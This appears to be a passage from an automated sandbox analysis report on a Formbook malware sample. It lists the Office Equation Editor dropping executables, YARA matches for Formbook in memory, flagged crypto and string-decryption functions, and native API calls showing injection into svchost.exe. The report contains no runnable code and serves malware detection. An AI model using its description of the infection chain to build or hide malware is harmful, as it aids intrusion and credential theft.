Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\ibeframnk863.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ibefrankszx[1].exe			Jump to dropped file

.NET source code contains very large strings

Source: ibefrankszx[1].exe.2.dr, Castle.Samples.Extensibility/UI/Input.cs	Long String: Length: 75776
Source: ibeframnk863.exe.2.dr, Castle.Samples.Extensibility/UI/Input.cs	Long String: Length: 75776
Source: 4.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/Input.cs	Long String: Length: 75776
Source: 5.2.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/Input.cs	Long String: Length: 75776
Source: 5.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/Input.cs	Long String: Length: 75776
Source: 6.0.ibeframnk863.exe.ff0000.0.unpack, Castle.Samples.Extensibility/UI/Input.cs	Long String: Length: 75776

Yara signature match

Source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Detected potential crypto function

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 4_2_002E21F0		4_2_002E21F0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 4_2_002E4A18		4_2_002E4A18
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 4_2_002E1C28		4_2_002E1C28
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 4_2_002E4F0F		4_2_002E4F0F
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00401030		6_2_00401030
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041D963		6_2_0041D963
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00402D8B		6_2_00402D8B
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00402D90		6_2_00402D90
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041E5B0		6_2_0041E5B0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00409E4B		6_2_00409E4B
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00409E50		6_2_00409E50
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041EE3B		6_2_0041EE3B
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041EF5C		6_2_0041EF5C
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00402FB0		6_2_00402FB0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A7E0C6		6_2_00A7E0C6
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A83040		6_2_00A83040
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A9905A		6_2_00A9905A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A7E2E9		6_2_00A7E2E9
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00B21238		6_2_00B21238
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A7F3CF		6_2_00A7F3CF
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00AA63DB		6_2_00AA63DB
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A82305		6_2_00A82305
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00ACA37B		6_2_00ACA37B
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A87353		6_2_00A87353
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A91489		6_2_00A91489
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00AB5485		6_2_00AB5485
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A9C5F0		6_2_00A9C5F0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A8351F		6_2_00A8351F
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A84680		6_2_00A84680
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A8E6C1		6_2_00A8E6C1
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00B22622		6_2_00B22622
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A8C7BC		6_2_00A8C7BC
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00B0579A		6_2_00B0579A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00B1F8EE		6_2_00B1F8EE
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00AA286D		6_2_00AA286D
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A8C85C		6_2_00A8C85C
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A829B2		6_2_00A829B2
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00B2098E		6_2_00B2098E
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A969FE		6_2_00A969FE
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00B05955		6_2_00B05955
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00B33A83		6_2_00B33A83
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00B2CBA4		6_2_00B2CBA4
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00B0DBDA		6_2_00B0DBDA
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A7FBD7		6_2_00A7FBD7
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00AA7B00		6_2_00AA7B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A0E0C6		8_2_00A0E0C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A3D005		8_2_00A3D005
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A13040		8_2_00A13040
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A2905A		8_2_00A2905A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A0E2E9		8_2_00A0E2E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00AB1238		8_2_00AB1238
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A0F3CF		8_2_00A0F3CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A363DB		8_2_00A363DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A12305		8_2_00A12305
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A5A37B		8_2_00A5A37B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A17353		8_2_00A17353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A45485		8_2_00A45485
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A21489		8_2_00A21489
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A4D47D		8_2_00A4D47D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A2C5F0		8_2_00A2C5F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A1351F		8_2_00A1351F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A14680		8_2_00A14680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A1E6C1		8_2_00A1E6C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00AB2622		8_2_00AB2622
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A1C7BC		8_2_00A1C7BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A9579A		8_2_00A9579A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A457C3		8_2_00A457C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00AAF8EE		8_2_00AAF8EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A3286D		8_2_00A3286D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A1C85C		8_2_00A1C85C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A129B2		8_2_00A129B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00AB098E		8_2_00AB098E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A269FE		8_2_00A269FE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A95955		8_2_00A95955
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00AC3A83		8_2_00AC3A83
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00ABCBA4		8_2_00ABCBA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A9DBDA		8_2_00A9DBDA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A0FBD7		8_2_00A0FBD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A37B00		8_2_00A37B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00AAFDDD		8_2_00AAFDDD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A40D3B		8_2_00A40D3B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A1CD5B		8_2_00A1CD5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A42E2F		8_2_00A42E2F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A2EE4C		8_2_00A2EE4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A20F3F		8_2_00A20F3F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A3DF7C		8_2_00A3DF7C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009E5B0		8_2_0009E5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00082D8B		8_2_00082D8B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00082D90		8_2_00082D90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009EE3B		8_2_0009EE3B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00089E4B		8_2_00089E4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00089E50		8_2_00089E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_0009EF5C		8_2_0009EF5C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00082FB0		8_2_00082FB0

Found potential string decryption / allocating functions

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 00A0DF5C appears 107 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 00A7F970 appears 81 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 00A53F92 appears 108 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 00A5373B appears 238 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 00A0E2A8 appears 38 times
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: String function: 00A7DF5C appears 83 times
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: String function: 00AEF970 appears 68 times
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: String function: 00AC373B appears 184 times
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: String function: 00AC3F92 appears 63 times

Contains functionality to call native functions

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041A350 NtCreateFile,		6_2_0041A350
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041A400 NtReadFile,		6_2_0041A400
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041A480 NtClose,		6_2_0041A480
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041A530 NtAllocateVirtualMemory,		6_2_0041A530
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041A34A NtCreateFile,		6_2_0041A34A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041A3A3 NtReadFile,		6_2_0041A3A3
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041A47A NtClose,		6_2_0041A47A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_0041A52B NtAllocateVirtualMemory,		6_2_0041A52B
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A700C4 NtCreateFile,LdrInitializeThunk,		6_2_00A700C4
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A70078 NtResumeThread,LdrInitializeThunk,		6_2_00A70078
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A70048 NtProtectVirtualMemory,LdrInitializeThunk,		6_2_00A70048
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6F9F0 NtClose,LdrInitializeThunk,		6_2_00A6F9F0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6F900 NtReadFile,LdrInitializeThunk,		6_2_00A6F900
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FAE8 NtQueryInformationProcess,LdrInitializeThunk,		6_2_00A6FAE8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,		6_2_00A6FAD0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FBB8 NtQueryInformationToken,LdrInitializeThunk,		6_2_00A6FBB8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FB68 NtFreeVirtualMemory,LdrInitializeThunk,		6_2_00A6FB68
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FC90 NtUnmapViewOfSection,LdrInitializeThunk,		6_2_00A6FC90
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FC60 NtMapViewOfSection,LdrInitializeThunk,		6_2_00A6FC60
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FD8C NtDelayExecution,LdrInitializeThunk,		6_2_00A6FD8C
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FDC0 NtQuerySystemInformation,LdrInitializeThunk,		6_2_00A6FDC0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FEA0 NtReadVirtualMemory,LdrInitializeThunk,		6_2_00A6FEA0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,		6_2_00A6FED0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FFB4 NtCreateSection,LdrInitializeThunk,		6_2_00A6FFB4
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A710D0 NtOpenProcessToken,		6_2_00A710D0
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A70060 NtQuerySection,		6_2_00A70060
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A701D4 NtSetValueKey,		6_2_00A701D4
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A7010C NtOpenDirectoryObject,		6_2_00A7010C
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A71148 NtOpenThread,		6_2_00A71148
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A707AC NtCreateMutant,		6_2_00A707AC
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6F8CC NtWaitForSingleObject,		6_2_00A6F8CC
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A71930 NtSetContextThread,		6_2_00A71930
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6F938 NtWriteFile,		6_2_00A6F938
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FAB8 NtQueryValueKey,		6_2_00A6FAB8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FA20 NtQueryInformationFile,		6_2_00A6FA20
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FA50 NtEnumerateValueKey,		6_2_00A6FA50
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FBE8 NtQueryVirtualMemory,		6_2_00A6FBE8
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 6_2_00A6FB50 NtCreateKey,		6_2_00A6FB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A000C4 NtCreateFile,LdrInitializeThunk,		8_2_00A000C4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A007AC NtCreateMutant,LdrInitializeThunk,		8_2_00A007AC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FF9F0 NtClose,LdrInitializeThunk,		8_2_009FF9F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FF900 NtReadFile,LdrInitializeThunk,		8_2_009FF900
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFAB8 NtQueryValueKey,LdrInitializeThunk,		8_2_009FFAB8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFAD0 NtAllocateVirtualMemory,LdrInitializeThunk,		8_2_009FFAD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFAE8 NtQueryInformationProcess,LdrInitializeThunk,		8_2_009FFAE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFBB8 NtQueryInformationToken,LdrInitializeThunk,		8_2_009FFBB8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFB50 NtCreateKey,LdrInitializeThunk,		8_2_009FFB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFB68 NtFreeVirtualMemory,LdrInitializeThunk,		8_2_009FFB68
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFC60 NtMapViewOfSection,LdrInitializeThunk,		8_2_009FFC60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFD8C NtDelayExecution,LdrInitializeThunk,		8_2_009FFD8C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFDC0 NtQuerySystemInformation,LdrInitializeThunk,		8_2_009FFDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFED0 NtAdjustPrivilegesToken,LdrInitializeThunk,		8_2_009FFED0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFFB4 NtCreateSection,LdrInitializeThunk,		8_2_009FFFB4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A010D0 NtOpenProcessToken,		8_2_00A010D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A00060 NtQuerySection,		8_2_00A00060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A00078 NtResumeThread,		8_2_00A00078
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A00048 NtProtectVirtualMemory,		8_2_00A00048
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A001D4 NtSetValueKey,		8_2_00A001D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A0010C NtOpenDirectoryObject,		8_2_00A0010C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A01148 NtOpenThread,		8_2_00A01148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FF8CC NtWaitForSingleObject,		8_2_009FF8CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_00A01930 NtSetContextThread,		8_2_00A01930
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FF938 NtWriteFile,		8_2_009FF938
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFA20 NtQueryInformationFile,		8_2_009FFA20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFA50 NtEnumerateValueKey,		8_2_009FFA50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_009FFBE8 NtQueryVirtualMemory,		8_2_009FFBE8
